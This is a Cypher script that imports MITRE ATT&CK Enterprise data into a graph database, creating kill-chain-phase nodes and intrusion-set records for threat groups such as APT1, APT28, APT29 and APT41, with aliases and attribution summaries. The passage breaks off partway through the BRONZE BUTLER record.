Cypher generating MITRE ATTACK Enterprise CTI

attack1k.cypher

UNWIND [{_id:915, properties:{kill_chain_name:"mitre-attack", phase_name:"defense-evasion", kill_chain_phase_id:"452678c3-4ec1-4555-ad5a-b024ded4e92a"}}, {_id:845, properties:{kill_chain_name:"mitre-attack", phase_name:"credential-access", kill_chain_phase_id:"792f1d6c-6f02-45d9-995f-fd710ac23ab4"}}, {_id:1175, properties:{kill_chain_name:"mitre-attack", phase_name:"lateral-movement", kill_chain_phase_id:"0edc169c-1ac8-4ec6-9534-65e8722fa303"}}, {_id:1180, properties:{kill_chain_name:"mitre-attack", phase_name:"credential-access", kill_chain_phase_id:"4ba5ffe8-bd9c-4c56-acdf-864b7bad11ae"}}, {_id:1268, properties:{kill_chain_name:"mitre-attack", phase_name:"defense-evasion", kill_chain_phase_id:"2e4a075c-d1e1-4177-9670-446b584f762b"}}, {_id:1241, properties:{kill_chain_name:"mitre-attack", phase_name:"execution", kill_chain_phase_id:"9b48dc70-2092-44f8-8b40-35b1234b3d9e"}}, {_id:1106, properties:{kill_chain_name:"mitre-attack", phase_name:"credential-access", kill_chain_phase_id:"ac5aa6a6-6e73-403f-bb9a-db8674a3af03"}}, {_id:1107, properties:{kill_chain_name:"mitre-attack", phase_name:"discovery", kill_chain_phase_id:"402dc3cc-ead9-449f-a6a2-de8d41b71698"}}, {_id:1167, properties:{kill_chain_name:"mitre-attack", phase_name:"lateral-movement", kill_chain_phase_id:"3e506995-4f71-4147-84f2-1b1762667bf6"}}, {_id:201, properties:{kill_chain_name:"mitre-attack", phase_name:"defense-evasion", kill_chain_phase_id:"2ff01cbd-8044-47c6-9fc2-0eade927fdcc"}}, {_id:213, properties:{kill_chain_name:"mitre-attack", phase_name:"defense-evasion", kill_chain_phase_id:"9a83b3bc-05b3-4e71-8400-c0f9eecafe52"}}, {_id:191, properties:{kill_chain_name:"mitre-attack", phase_name:"defense-evasion", kill_chain_phase_id:"ac6b1757-cc3f-413e-9b79-5a0ff431a6af"}}, {_id:157, properties:{kill_chain_name:"mitre-attack", phase_name:"discovery", kill_chain_phase_id:"a5bf93ef-7233-4489-aa30-dd0bcf02e568"}}, {_id:244, properties:{kill_chain_name:"mitre-attack", phase_name:"execution", kill_chain_phase_id:"c8ef9c39-de96-4d9a-8262-4b8f612f6ba3"}}, {_id:240, properties:{kill_chain_name:"mitre-attack", phase_name:"defense-evasion", kill_chain_phase_id:"1648cb1e-13ab-4097-9eb3-3f61be7d3824"}}, {_id:126, properties:{kill_chain_name:"mitre-attack", phase_name:"exfiltration", kill_chain_phase_id:"176c7e1e-cda5-46c0-9d7d-412577a61554"}}, {_id:58, properties:{kill_chain_name:"mitre-attack", phase_name:"discovery", kill_chain_phase_id:"c61ed3ff-a14c-4d1e-beba-ef59d82b5f87"}}, {_id:48, properties:{kill_chain_name:"mitre-attack", phase_name:"impact", kill_chain_phase_id:"253c9507-e92b-42b2-9116-adb915007518"}}, {_id:1102, properties:{kill_chain_name:"mitre-attack", phase_name:"discovery", kill_chain_phase_id:"5a19abc0-52f2-4d5f-9442-eaa97aa15b91"}}, {_id:1044, properties:{kill_chain_name:"mitre-attack", phase_name:"command-and-control", kill_chain_phase_id:"d1132cd7-0092-40ce-b437-b81b1430416a"}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:kill_chain_phase;
UNWIND [{_id:631, properties:{kill_chain_name:"mitre-attack", phase_name:"credential-access", kill_chain_phase_id:"2b2fe7c6-aa67-4940-bd12-934fdd8f0169"}}, {_id:1048, properties:{kill_chain_name:"mitre-attack", phase_name:"command-and-control", kill_chain_phase_id:"4e526ebf-4d8f-4618-8d78-ab5dcf7ba98c"}}, {_id:1086, properties:{kill_chain_name:"mitre-attack", phase_name:"impact", kill_chain_phase_id:"0a439a53-adff-4cfc-810d-1107a62c0e29"}}, {_id:591, properties:{kill_chain_name:"mitre-attack", phase_name:"defense-evasion", kill_chain_phase_id:"9778ca21-4991-4998-8776-7418aa7fd0f0"}}, {_id:609, properties:{kill_chain_name:"mitre-attack", phase_name:"exfiltration", kill_chain_phase_id:"2c4e9b79-edef-4e8a-b645-8fba8ec0c62d"}}, {_id:615, properties:{kill_chain_name:"mitre-attack", phase_name:"exfiltration", kill_chain_phase_id:"b49923a3-be10-429d-9583-9ac853cd0ebe"}}, {_id:844, properties:{kill_chain_name:"mitre-attack", phase_name:"collection", kill_chain_phase_id:"97082d34-adf6-4ef2-b5f2-131b59fb2eac"}}, {_id:1706, properties:{kill_chain_name:"mitre-attack", phase_name:"lateral-movement", kill_chain_phase_id:"954f0dcc-30f8-441b-b37c-5a81631bc818"}}, {_id:1732, properties:{kill_chain_name:"mitre-attack", phase_name:"defense-evasion", kill_chain_phase_id:"d1c8c38f-ad56-4c9a-ada5-47f39bddb019"}}, {_id:1741, properties:{kill_chain_name:"mitre-attack", phase_name:"impact", kill_chain_phase_id:"2326f2d2-9e17-4e8e-8cd2-f5460d6bb27f"}}, {_id:1747, properties:{kill_chain_name:"mitre-attack", phase_name:"persistence", kill_chain_phase_id:"2427ba4c-ad5b-4d6e-90ff-94d20dd727ec"}}, {_id:1855, properties:{kill_chain_name:"mitre-attack", phase_name:"persistence", kill_chain_phase_id:"90fda210-8687-4f9d-b683-90cfeeb1f7a3"}}, {_id:547, properties:{kill_chain_name:"mitre-attack", phase_name:"privilege-escalation", kill_chain_phase_id:"55809e86-337b-444f-8020-baa09738ee41"}}, {_id:528, properties:{kill_chain_name:"mitre-attack", phase_name:"persistence", kill_chain_phase_id:"a499b322-d14a-4a9f-9d05-143c838c8526"}}, {_id:529, properties:{kill_chain_name:"mitre-attack", phase_name:"privilege-escalation", kill_chain_phase_id:"a2c45b04-9d72-4e70-9acf-2e877b78fad6"}}, {_id:474, properties:{kill_chain_name:"mitre-attack", phase_name:"defense-evasion", kill_chain_phase_id:"785fc6d0-0e2d-4512-ab32-6eba0dc850f0"}}, {_id:429, properties:{kill_chain_name:"mitre-attack", phase_name:"command-and-control", kill_chain_phase_id:"d960cea2-d14e-4b9a-af06-5a22cb5a922b"}}, {_id:979, properties:{kill_chain_name:"mitre-attack", phase_name:"persistence", kill_chain_phase_id:"48066cf0-8e59-445c-beae-b8191a2c954f"}}, {_id:935, properties:{kill_chain_name:"mitre-attack", phase_name:"persistence", kill_chain_phase_id:"2de44efa-c7bd-4384-a4bf-e39aca9d42de"}}, {_id:946, properties:{kill_chain_name:"mitre-attack", phase_name:"persistence", kill_chain_phase_id:"fbc6fa48-e9ba-47c2-bfdb-9d4f548fc190"}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:kill_chain_phase;
UNWIND [{_id:1008, properties:{kill_chain_name:"mitre-attack", phase_name:"defense-evasion", kill_chain_phase_id:"aa5b7564-4753-4aa4-979b-9a477b45432e"}}, {_id:346, properties:{kill_chain_name:"mitre-attack", phase_name:"credential-access", kill_chain_phase_id:"47494d73-72bc-4ef5-8691-ebbf584f9b12"}}, {_id:376, properties:{kill_chain_name:"mitre-attack", phase_name:"defense-evasion", kill_chain_phase_id:"574a3a53-b1f3-4b3a-8373-f278df7186b8"}}, {_id:278, properties:{kill_chain_name:"mitre-attack", phase_name:"defense-evasion", kill_chain_phase_id:"b4cbb5a1-def0-4c02-8b20-1d2f7fc90a83"}}, {_id:279, properties:{kill_chain_name:"mitre-attack", phase_name:"persistence", kill_chain_phase_id:"81c3085a-edca-4c1a-893b-df94bdbf4cb3"}}, {_id:680, properties:{kill_chain_name:"mitre-attack", phase_name:"persistence", kill_chain_phase_id:"c5878550-a1e7-4f59-a99d-a096c9f640ff"}}, {_id:715, properties:{kill_chain_name:"mitre-attack", phase_name:"credential-access", kill_chain_phase_id:"9774341a-b2fb-4fe0-a378-aaff938d497c"}}, {_id:1573, properties:{kill_chain_name:"mitre-attack", phase_name:"initial-access", kill_chain_phase_id:"a0648865-ba20-414d-b545-e16732ccf01b"}}, {_id:1614, properties:{kill_chain_name:"mitre-attack", phase_name:"credential-access", kill_chain_phase_id:"4555f2be-5463-4765-b3d1-2d397f189f5e"}}, {_id:1619, properties:{kill_chain_name:"mitre-attack", phase_name:"impact", kill_chain_phase_id:"a3cbc35f-4ccf-4f41-91bc-21e489dddaa7"}}, {_id:1641, properties:{kill_chain_name:"mitre-attack", phase_name:"initial-access", kill_chain_phase_id:"a432c6b2-f773-406c-a3be-2e987142dc9a"}}, {_id:1660, properties:{kill_chain_name:"mitre-attack", phase_name:"discovery", kill_chain_phase_id:"8592efc0-6130-4a46-be8b-1af560886e86"}}, {_id:1344, properties:{kill_chain_name:"mitre-attack", phase_name:"command-and-control", kill_chain_phase_id:"024caa8b-e87d-4590-81d8-ed65acfd025b"}}, {_id:1370, properties:{kill_chain_name:"mitre-attack", phase_name:"initial-access", kill_chain_phase_id:"7c41e7c2-0a5c-4e2c-8c9b-9cf69d52dd4c"}}, {_id:1443, properties:{kill_chain_name:"mitre-attack", phase_name:"exfiltration", kill_chain_phase_id:"5678f3cc-dd08-4825-8bdf-63adc956b2d5"}}, {_id:864, properties:{kill_chain_name:"mitre-attack", phase_name:"defense-evasion", kill_chain_phase_id:"d3f511e4-7433-4d9c-a580-4593c27a0b67"}}, {_id:1329, properties:{kill_chain_name:"mitre-attack", phase_name:"defense-evasion", kill_chain_phase_id:"3df55ea5-7dd6-4c75-8482-6c59aedefef1"}}, {_id:1337, properties:{kill_chain_name:"mitre-attack", phase_name:"defense-evasion", kill_chain_phase_id:"186179e8-8613-403d-b40d-192e92f130a2"}}, {_id:1338, properties:{kill_chain_name:"mitre-attack", phase_name:"execution", kill_chain_phase_id:"8ea6b4df-dfe1-48d9-b573-f4b816373073"}}, {_id:763, properties:{kill_chain_name:"mitre-attack", phase_name:"defense-evasion", kill_chain_phase_id:"bdeb820c-bf5d-4d50-b17f-1d75c627abfe"}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:kill_chain_phase;
UNWIND [{_id:783, properties:{kill_chain_name:"mitre-attack", phase_name:"credential-access", kill_chain_phase_id:"a35c4056-b76e-4ec1-9fc0-67c22c87b243"}}, {_id:753, properties:{kill_chain_name:"mitre-attack", phase_name:"defense-evasion", kill_chain_phase_id:"a72ee86d-5775-4561-9f7c-6deec5d2f54d"}}, {_id:801, properties:{kill_chain_name:"mitre-attack", phase_name:"privilege-escalation", kill_chain_phase_id:"b59abeb1-c365-4459-b71b-48ced1c02085"}}, {_id:802, properties:{kill_chain_name:"mitre-attack", phase_name:"persistence", kill_chain_phase_id:"03d76a00-444c-44c3-9738-5f6512ac0717"}}, {_id:803, properties:{kill_chain_name:"mitre-attack", phase_name:"defense-evasion", kill_chain_phase_id:"5c10bb96-8c99-4d1a-acb0-3f16049dd3c7"}}, {_id:1453, properties:{kill_chain_name:"mitre-attack", phase_name:"persistence", kill_chain_phase_id:"fba053ab-5460-4f7a-b7bb-579ab7c198fa"}}, {_id:425, properties:{kill_chain_name:"mitre-attack", phase_name:"impact", kill_chain_phase_id:"6db8383a-c460-49d6-a58c-74e519e70573"}}, {_id:394, properties:{kill_chain_name:"mitre-attack", phase_name:"defense-evasion", kill_chain_phase_id:"f7e678ad-1b1d-4c7a-a40e-d6764ddb649b"}}, {_id:407, properties:{kill_chain_name:"mitre-attack", phase_name:"impact", kill_chain_phase_id:"41bd1847-7daf-4e22-9f1b-0b83a6f1cc71"}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:kill_chain_phase;
UNWIND [{_id:9056, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], first_seen:"", aliases:["APT1", "Comment Crew", "Comment Group", "Comment Panda"], last_seen:"", created:"2017-05-31T21:31:47.955Z", custom:"{\"x_mitre_version\":\"1.1\"}", description:"[APT1](https://attack.mitre.org/groups/G0006) is a Chinese threat group that has been attributed to the 2nd Bureau of the People’s Liberation Army (PLA) General Staff Department’s (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398. (Citation: Mandiant APT1)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"APT1", modified:"2019-08-20T13:08:12.971Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", goals:[], external_references:["1c0de513-6591-4734-8397-3c778a023099", "044f413b-b787-4841-97e3-5a1c55a172b0", "2303d335-4aa8-4e60-af6d-034f34711aa7", "adac11c9-f2a8-4121-ac83-e45587e241f1", "861bb52d-d7e3-48e6-95ee-9fb9716554b6", "a4d12b2f-5a09-4aef-bb78-b990d69f66c4", "e48d480f-1155-46a0-ab85-a065e92da416"]}}, {_id:9084, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], aliases:["APT19", "Codoso", "C0d0so0", "Codoso Team", "Sunshop Group"], first_seen:"", last_seen:"", created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_version\":\"1.2\",\"x_mitre_contributors\":[\"FS-ISAC\",\"Darren Spruell\"]}", description:"[APT19](https://attack.mitre.org/groups/G0073) is a Chinese-based threat group that has targeted a variety of industries, including defense, finance, energy, pharmaceutical, telecommunications, high tech, education, manufacturing, and legal services. In 2017, a phishing campaign was used to target seven law and investment firms. (Citation: FireEye APT19) Some analysts track [APT19](https://attack.mitre.org/groups/G0073) and [Deep Panda](https://attack.mitre.org/groups/G0009) as the same group, but it is unclear from open source information if the groups are the same. (Citation: ICIT China's Espionage Jul 2016) (Citation: FireEye APT Groups) (Citation: Unit 42 C0d0so0 Jan 2016)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"APT19", modified:"2019-10-11T19:12:13.407Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", goals:[], external_references:["4b28b481-f903-40d1-9ea0-365cfb18cc10", "1829c52d-2655-4c6b-9249-c4edf4970389", "03a1f153-39dd-4d85-ab9b-17338c18af12", "31ebda56-60d1-40c3-97fc-c5f96709a623", "a0df636d-afd4-4062-8817-50c4b3b292a1", "83ea8fca-d33d-4ebd-8e94-044922d01359", "4f15e425-67e2-41fc-b1c0-0c42930a098a", "cdb97eda-9c38-4f71-8385-dd08ba718429", "b0978019-5840-4eec-a6ce-cc264f5ad005", "f20c6b4c-3f97-450e-acc0-fec036810096", "dcb3a102-ddf0-4632-b1b4-88699e14cd93"]}}, {_id:9096, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], aliases:["APT28", "SNAKEMACKEREL", "Swallowtail", "Group 74", "Sednit", "Sofacy", "Pawn Storm", "Fancy Bear", "STRONTIUM", "Tsar Team", "Threat Group-4127", "TG-4127"], first_seen:"", last_seen:"", created:"2017-05-31T21:31:48.664Z", custom:"{\"x_mitre_version\":\"2.2\",\"x_mitre_contributors\":[\"Drew Church, Splunk\",\"Emily Ratliff, IBM\",\"Richard Gold, Digital Shadows\"]}", description:"[APT28](https://attack.mitre.org/groups/G0007) is a threat group that has been attributed to Russia's Main Intelligence Directorate of the Russian General Staff by a July 2018 U.S. Department of Justice indictment. This group reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election. [APT28](https://attack.mitre.org/groups/G0007) has been active since at least 2004.(Citation: DOJ GRU Indictment Jul 2018) (Citation: Ars Technica GRU indictment Jul 2018) (Citation: Crowdstrike DNC June 2016) (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28 January 2017) (Citation: GRIZZLY STEPPE JAR) (Citation: Sofacy DealersChoice) (Citation: Palo Alto Sofacy 06-2018) (Citation: Symantec APT28 Oct 2018) (Citation: ESET Zebrocy May 2019)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"APT28", modified:"2019-10-11T21:44:06.801Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", goals:[], external_references:["1828b3e2-86a8-4999-ba05-a41e82ca9fc8", "c7a91aba-8ddd-408e-9977-0de7c7b6ab83", "e15a1e7a-582b-45aa-bb96-788fe3a798d5", "370f9de3-95e8-459f-aa83-eebf4eea1779", "844c5a2b-33eb-457c-b947-e2ca383d804a", "19189719-2bf0-4fe5-97b5-3b447d750819", "c0ad6f58-c346-495d-b7f2-4b412532c474", "dab6f086-29ba-48da-927d-34842015cd16", "30f4c7e8-4255-484a-8539-a89802290454", "4abc5521-fd4b-4d18-9571-dc1c73efb036", "8d629606-eeff-4a1a-94fb-0843a0358829", "e154508c-2246-4ef6-83e5-564f0b0b1afb", "a3a4f497-e891-4cc9-ab61-72abde1206d5", "ec92773b-9271-4a39-be32-f99e7e55884a", "83d77853-8bc8-43c9-b1a5-25c99328560e", "272856c2-5758-4519-a84b-e9504a9d26bc", "a999bb18-44fb-4fdb-90a9-32d6e7200bfa", "3d473605-f512-470b-874e-61ca1403937e", "037c0e8d-3f26-4e29-948f-db9c1e9b5cfa", "01050971-b106-4a5a-b4dd-4c4dba4d95a1", "e6be08d4-501b-4371-80f6-7782683aad9e", "8ea2c6be-8db5-4b2b-a99b-fc5e38e04a63", "b2c52fab-1520-44c2-839a-7c079b73e48c", "68f1af50-f96c-4001-9ed0-1e7ed884e810", "db70571a-27b1-452e-9e4a-05217c701752", "9a5c3ff0-71b9-42aa-b394-e72fda0ec89d", "722f10fa-9b1b-4ffa-8524-d9efdac60b00", "4dce5067-f813-4a95-8541-9e1e44971689", "bd1ba4eb-63f9-440f-9a1b-fc5e62a489d4", "b16e92bb-d6c1-4da8-a273-67af5db86102"]}}, {_id:9127, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], first_seen:"", aliases:["APT29", "YTTRIUM", "The Dukes", "Cozy Bear", "CozyDuke"], last_seen:"", created:"2017-05-31T21:31:52.748Z", custom:"{\"x_mitre_version\":\"1.2\"}", description:"[APT29](https://attack.mitre.org/groups/G0016) is threat group that has been attributed to the Russian government and has operated since at least 2008. (Citation: F-Secure The Dukes) (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee starting in the summer of 2015. (Citation: Crowdstrike DNC June 2016)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"APT29", modified:"2019-07-25T14:25:52.859Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", goals:[], external_references:["751ce6ac-f491-4ce0-aeef-605725c87e40", "de42828e-21cf-4d4a-adf7-76218830396b", "b40c1cdb-881c-4996-84da-b9612c907810", "b5a05d13-4e83-4bc9-8762-12787b2a2da7", "ef5cf754-161a-4f72-97e7-d693813c6c6f", "3567c42c-6eef-43ed-9f86-853ee1b28ccb", "fd543487-85c4-452e-bdb5-5d05f25a2b3b", "b5a72246-bc2e-468f-a36d-862aa1333c27", "8dda10dc-b213-42c7-a280-1fe708b66655", "c031af5a-5115-4eb6-ba09-bddf28c06005", "1bef0a9b-55ff-4587-89b9-b246d9656c3c"]}}, {_id:9139, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], first_seen:"", aliases:["APT3", "Gothic Panda", "Pirpi", "UPS Team", "Buckeye", "Threat Group-0110", "TG-0110"], last_seen:"", created:"2017-05-31T21:31:55.853Z", custom:"{\"x_mitre_version\":\"1.2\"}", description:"[APT3](https://attack.mitre.org/groups/G0022) is a China-based threat group that researchers have attributed to China's Ministry of State Security. (Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap. (Citation: FireEye Clandestine Wolf) (Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong. (Citation: Symantec Buckeye)\n\nMITRE has also developed an APT3 Adversary Emulation Plan.(Citation: APT3 Adversary Emulation Plan)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"APT3", modified:"2019-10-11T19:27:52.526Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", goals:[], external_references:["84d4a761-b642-42c9-b494-805d1591a1e6", "24c5f6f8-f8e2-4eb8-8c21-0eec97ea025c", "e0a2bff7-981a-463f-8393-c2bb681c6430", "db6a7019-2b24-4cb1-bc87-ff14aa55fbb3", "0b4ce199-68f6-4dba-b88a-09e3e5ab4775", "6b38eb70-46df-4d0a-a60a-a064f93ae195", "07ad2c23-024a-41c9-89f0-bf0802d902b5", "dbf81d7e-c119-47ed-955c-90e6f5eb5445", "56fe3574-248f-4d60-89e2-cc70099da16b", "7b8d6cbc-ad81-4b15-b6d5-9d1f8806366f", "d86b5bc0-9cd8-4253-abb8-82a01a9a6d0f", "b3c384b1-43f5-45e3-b7db-9cbb7915b4de", "701f5bff-b866-44f1-998c-2502dc5c86a0", "479a9277-2f9b-4491-8865-c1be32e4707b"]}}, {_id:9159, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], aliases:["APT32", "SeaLotus", "OceanLotus", "APT-C-00"], first_seen:"", last_seen:"", created:"2017-12-14T16:46:06.044Z", custom:"{\"x_mitre_version\":\"2.1\",\"x_mitre_contributors\":[\"Romain Dumont, ESET\"]}", description:"[APT32](https://attack.mitre.org/groups/G0050) is a threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as with foreign governments, dissidents, and journalists with a strong focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia. They have extensively used strategic web compromises to compromise victims. The group is believed to be Vietnam-based. (Citation: FireEye APT32 May 2017) (Citation: Volexity OceanLotus Nov 2017) (Citation: ESET OceanLotus)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"APT32", modified:"2019-10-14T16:39:36.068Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", goals:[], external_references:["18d9bf8a-39ae-4983-879b-ad37f88d3aea", "c6fd3301-e574-4a4d-b3e7-8cf9fa822ba0", "9314d8ef-2132-48d2-bc09-f0baeb60edf8", "d359de8a-2e13-4760-8f96-895366c5b51e", "27b07260-5bc7-4b10-8eaa-5885e34503f7", "fcfc2edd-3258-4356-9dbc-bb8c706f6c4f", "748b395a-b78a-4ce6-85c8-220049d9a0a6", "0ea19644-064b-4722-9bf7-55a4c4b6f700", "23693533-0680-4edc-956c-c6b90566bd22"]}}, {_id:9169, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], first_seen:"", aliases:["APT33", "Elfin"], last_seen:"", created:"2018-04-18T17:59:24.739Z", custom:"{\"x_mitre_version\":\"1.2\"}", description:"[APT33](https://attack.mitre.org/groups/G0064) is a suspected Iranian threat group that has carried out operations since at least 2013. The group has targeted organizations across multiple industries in the United States, Saudi Arabia, and South Korea, with a particular interest in the aviation and energy sectors. (Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"APT33", modified:"2019-06-28T15:05:32.933Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", goals:[], external_references:["edf912ec-6f61-4cbd-8df6-8bb789abf3ba", "338fc25f-08e2-4f24-92a2-b2cd45af29ab", "d05a8bad-7015-4eda-beff-b2c8390ded00", "5bbfbe74-3d90-4398-bc58-8fb49a9da0b9", "b83d69a8-8695-4997-a063-03684065a407", "866f05a2-2ac4-4aa9-9ce0-4fc16fa2ea0c"]}}, {_id:9191, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], first_seen:"", aliases:["APT38"], last_seen:"", created:"2019-01-29T21:27:24.793Z", custom:"{\"x_mitre_version\":\"1.1\"}", description:"[APT38](https://attack.mitre.org/groups/G0082) is a financially-motivated threat group that is backed by the North Korean regime. The group mainly targets banks and financial institutions and has targeted more than 16 organizations in at least 13 countries since at least 2014.(Citation: FireEye APT38 Oct 2018)\n\nNorth Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"APT38", modified:"2019-10-04T22:16:08.047Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", goals:[], external_references:["caf61a41-0c4a-40e9-9bfc-5c90199f9711", "07d4260e-9c41-497b-89e7-3e4eef90441b", "8a742b70-57e4-4cd2-8d82-23682e2a989b", "8f4711b5-5f99-411e-b9c0-e4c4e09620ed", "3198d91b-3167-45a1-bbdb-98f2d3a70d8b"]}}, {_id:9203, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], first_seen:"", aliases:["APT41"], last_seen:"", created:"2019-09-23T13:43:36.945Z", custom:"{\"x_mitre_version\":\"1.0\"}", description:"[APT41](https://attack.mitre.org/groups/G0096) is a group that carries out Chinese state-sponsored espionage activity in addition to financially motivated activity. [APT41](https://attack.mitre.org/groups/G0096) has been active since as early as 2012. The group has been observed targeting healthcare, telecom, technology, and video game industries in 14 countries.(Citation: FireEye APT41 Aug 2019)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"APT41", modified:"2019-10-14T21:52:59.301Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", goals:[], external_references:["2afea912-17e8-4d99-a2bd-a3b74864fa5a", "56b2f60a-e116-4a3e-99f7-ee4af0875b29", "ae80c726-3f76-4a5d-a275-85cccdf939f0"]}}, {_id:9207, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], first_seen:"", aliases:["Axiom", "Group 72"], last_seen:"", created:"2017-05-31T21:31:45.629Z", custom:"{\"x_mitre_version\":\"1.1\"}", description:"[Axiom](https://attack.mitre.org/groups/G0001) is a cyber espionage group suspected to be associated with the Chinese government. It is responsible for the Operation SMN campaign. (Citation: Novetta-Axiom) Though both this group and [Winnti Group](https://attack.mitre.org/groups/G0044) use the malware [Winnti](https://attack.mitre.org/software/S0141), the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"Axiom", modified:"2019-09-24T13:32:51.011Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973", goals:[], external_references:["7c613171-6bc9-45e1-a065-23278c6ef301", "276f3e73-7350-434d-ab24-755d170aeaf1", "5b91e851-4b79-4209-959f-d6cef735b83d", "23dff97c-3d73-4f6e-a513-d63bd05482d2", "a7f4414c-150d-4b45-8ce4-60d01b81e4e2", "2be861a5-7a3f-4ad8-aa70-4b4dd113efd4", "ac21c4af-676a-43a8-ad6c-cf06fc31f65a", "ac40a691-dea8-4278-8e25-c5afcdc5e7ec"]}}, {_id:9216, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], first_seen:"", aliases:["BRONZE BUTLER", "REDBALDKNIGHT", "Tick"], last_seen:"", created:"2018-01-16T16:13:52.465Z", custom:"{\"x_mitre_version\":\"1.0\"}", description:"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) is a cyber espionage group with likely Chinese origins that has been active since at least 2008. The group primarily targets Japanese organizations, particularly those in government, biotechnology, electronics manufacturing, and industrial chemistry. (Citation: Trend Micro Daserf Nov 2017) (Citation: Secureworks BRONZE BUTLER Oct 2017)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"BRONZE BUTLER", modified:"2019-03-22T19:57:36.804Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", goals:[], 